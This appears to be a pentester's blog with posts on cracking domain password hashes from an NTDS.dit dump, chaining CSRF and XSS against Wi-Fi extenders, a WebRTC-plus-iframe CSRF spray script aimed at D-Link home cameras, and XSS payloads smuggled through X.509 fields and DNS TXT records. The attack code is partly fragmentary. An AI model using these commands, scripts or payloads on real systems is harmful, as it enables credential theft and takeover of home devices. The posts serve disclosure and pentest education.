Monday, May 28, 2018

Cracking domain password hashes

I don't do a lot of red-teaming, but when I do, I try to tread lightly. This is for two reasons; I'm lazy, I don't like getting phoned up by irate admins if a DC goes down.

I tend to use ntdsutil to dump hashes as soon as I get domain admin, as described here: 

This is a Microsoft tool and I've never had it break a DC, where as I have seen some of the other methods take down a domain controller.

At this point, you have a zip file and exfiltrate the data to your laptop.

Using impacket's secretsdump tool, you can then extract the users:

python impacket/examples/ -system Temp\SYSTEM  -ntds Temp\ntds.dit LOCAL -outputfile ifm.ntds

Use -user-status if you want to only show active accounts, and then grep for these.

Grab the allcase.rule file from here:

You may be lucky and find that some of the LM hashes are present, which makes your job that much easier.

Crack the LM hashes first with the following - to try all 7 letter combinations.

hashcat64.exe -m 3000 ifm.ntds -a3 ?a?a?a?a?a?a?a

Then take the output you've got from this and feed it into your NTLM crack as a crib, because we know the NTLM password will be the same but with different case.

hashcat64.exe -m 1000 -a0 ifm.ntds lmoutput.txt -r allcase.rule

Now, you can go ahead and do the normal cracking - grab dictionaries here if you want:


hashcat64.exe -m 1000 -a0 ifm.ntds Top258Million.txt -r nsav2dive.rule

Of course, you might want to tweak this depending on the password policy.

Wednesday, May 16, 2018

On the beauty of CSRF and XSS combinations, and Same Origin Policy

One of the primary security mechanisms that web browsers use is Same Origin Policy, which means basically that site A is not allowed to mess about with site B and vice versa.

In some cases, the site owner may allow such interaction with HTML5 Cross Origin headers, but in general site A can't read data from site B. It may be able to POST data via CSRF, but you're essentially doing this blind.

If you can get XSS and CSRF on a device, that means you can run JavaScript within the context of site B and therefore do basically anything you want with it.

On the BT Wi-Fi extenders I used this to drop an XSS string via CSRF, trigger a page load and read the PSK out of the web page. (This was fixed long ago - but upgrade your firmware if you haven't touched it in a while.)

So the conjunction of the two issues can be used fairly effectively to own a remote device. You could even push new firmware using this method on most of the devices I looked at which were vulnerable.

CSRF Spraying - Attacking Home IP Cameras

If you want to CSRF a home router, you know it's probably going to be at, or for example. However, if you want to hit an IP cam or something similar at home you can just spray your CSRF across the entire /24.

I think my ropey (and stolen) code for getting the internal IP doesn't work any more - this one does appear to: 

In essence, the script spins up an IFRAME or several for each IP address and uses these to send the CSRF to different targets. The referenced HTML files are just taken from Burp's CSRF PoC generator and slightly tweaked. It's wasteful of resources, but hey, they're someone else's resources.

If you've got a vulnerable device, you may want to admin it using a browser you don't generally use for the web, and not store the credentials.

This approach also worked well for the BT Wi-Fi extenders, now also fixed.  This was for a D-link 5020 webcam, which is hopefully fixed as I reported the issue at least a year ago.

Vendors: please use a proper login mechanism and ensure your kit is not vulnerable to CSRF.

    <title>Dlink CSRF</title>

<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>

//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};

    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var useWebKit = !!window.webkitRTCPeerConnection;

    //bypass naive webrtc blocking using an iframe

        var win = iframe.contentWindow;
        RTCPeerConnection = win.RTCPeerConnection
            || win.mozRTCPeerConnection
            || win.webkitRTCPeerConnection;
        useWebKit = !!win.webkitRTCPeerConnection;

    //minimal requirements for data connection
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]

    var servers = {iceServers: [{urls: ""}]};

    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);

    function handleCandidate(candidate){
        //match just the IP address
        var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
        var ip_addr = ip_regex.exec(candidate)[1];

        //remove duplicates
        if(ip_dups[ip_addr] === undefined)

        ip_dups[ip_addr] = true;

    //listen for candidate events
    pc.onicecandidate = function(ice){

        //skip non-candidate events

    //create a bogus data channel
    var a = pc.createDataChannel("asdas");

    //create an offer sdp

        //trigger the stun server request
        pc.setLocalDescription(result, function(){}, function(){});

    }, function(){});

    //wait for a while to let everything done
        //read candidate info from local description
        var lines = pc.localDescription.sdp.split('\n');

            if(line.indexOf('a=candidate:') === 0)
    }, 1000);

function hackit(ip) {



    var i;

    // we're looking for home networks, so we only search 192.168.0/24 thru 192.168.9/24
    if ( octets[0].match(/192/) && octets[1].match(/168/) ) {

        // for time reasons we only search a subset of targets
        for (i=50; i < 120 ; i++) {

                      ifrm = document.createElement("IFRAME");
                      ifrm.setAttribute("src", "iframe-dlink5020l.html?network="+network+"&octet="+i.toString());
             = "iframe"+i.toString() ;
             = 64+"px";
             = 48+"px";

                      ifrm = document.createElement("IFRAME");
                      ifrm.setAttribute("src", "iframe-dlink-spin2.html?network="+network+"&octet="+i.toString());
             = "iframe"+i.toString() ;
             = 64+"px";
             = 48+"px";

                      ifrm = document.createElement("IFRAME");
                      ifrm.setAttribute("src", "iframe-dlink-spin3.html?network="+network+"&octet="+i.toString());
             = "iframe"+i.toString() ;
             = 64+"px";
             = 48+"px";

                      ifrm = document.createElement("IFRAME");
                      ifrm.setAttribute("src", "iframe-dlink2.html?network="+network+"&octet="+i.toString());
             = "iframe"+i.toString() ;
             = 64+"px";
             = 48+"px";




XSS Smuggling - via X509 Fields and DNS records

Around Christmas time I noticed that a few of the websites that offer to check your SSL config for you don't do wonderful validation of what they find. The ones I was able to contact have all fixed this now.

You can test this out by creating a certificate with <script> tags in the various fields, loading it onto Apache and pointing a domain name at it.

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
Generating a 4096 bit RSA private key
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:GB
State or Province Name (full name) [Some-State]:<script>alert(1)</script>
Locality Name (eg, city) []:<script>alert(2)</script>
Organization Name (eg, company) [Internet Widgits Pty Ltd]:<img src=i onerror=alert(3)>
Organizational Unit Name (eg, section) []:<script>alert(4)</script>
Common Name (e.g. server FQDN or YOUR name) []:<script>alert(5)</script>
Email Address []:

This also affects sites which look at your DNS TXT records, such as DMARC, (_dmarc), MX, SPF and so on. dnsmasq will let you set a silly MX record like <script>alert(1)</script> where as BIND will (sensibly) not accept it. 

$TTL    1
; $TTL used for all RRs without explicit TTL value
@  1D  IN  SOA (
                 2018043001 ; serial
                 3H ; refresh
                 15 ; retry
                 1w ; expire
                 1h ; nxdomain ttl

@       IN  TXT    "v=spf1 a <script>alert(1)</script> ~all"
_dmarc  IN  TXT    "v=DMARC1;<script>alert(1)</script>sp=quarantine;;"

So if you're pentesting a site which consumes x509 certs or DNS records, or even ESMTP banners it is worth checking this vector. I didn't find anything more interesting like RCE but I would bet a few set ups do handle the output in shell script and therefore might be vulnerable.